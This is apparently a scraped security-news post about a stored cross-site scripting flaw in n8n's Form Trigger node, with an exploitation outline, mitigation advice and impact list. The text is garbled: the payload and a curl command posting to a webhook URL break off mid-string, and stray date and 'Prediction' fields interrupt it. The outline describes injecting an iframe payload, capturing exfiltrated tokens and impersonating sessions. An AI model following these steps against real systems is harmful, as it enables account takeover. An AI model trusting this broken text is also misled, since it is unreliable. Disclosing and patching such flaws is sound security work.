Listen to this Post
The vulnerability exists within the Form Trigger node’s HTML element input field, which insufficiently sanitizes user-supplied content. An authenticated attacker can craft a malicious payload using an `
date: 2024
Prediction: 2024-11-15
What Undercode Say:
`curl -X POST ${N8N_WEBHOOK_URL} -H “Content-Type: application/json” -d ‘{“html”: “
How Exploit:
Inject iframe/video payload.
Host public form URL.
Capture exfiltrated tokens.
Impersonate victim session.
Protection from this CVE
Upgrade to v1.98.2.
Implement strict CSP.
Sanitize HTML inputs.
Impact:
Account Takeover (ATO)
Session Hijacking
Privilege Escalation
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

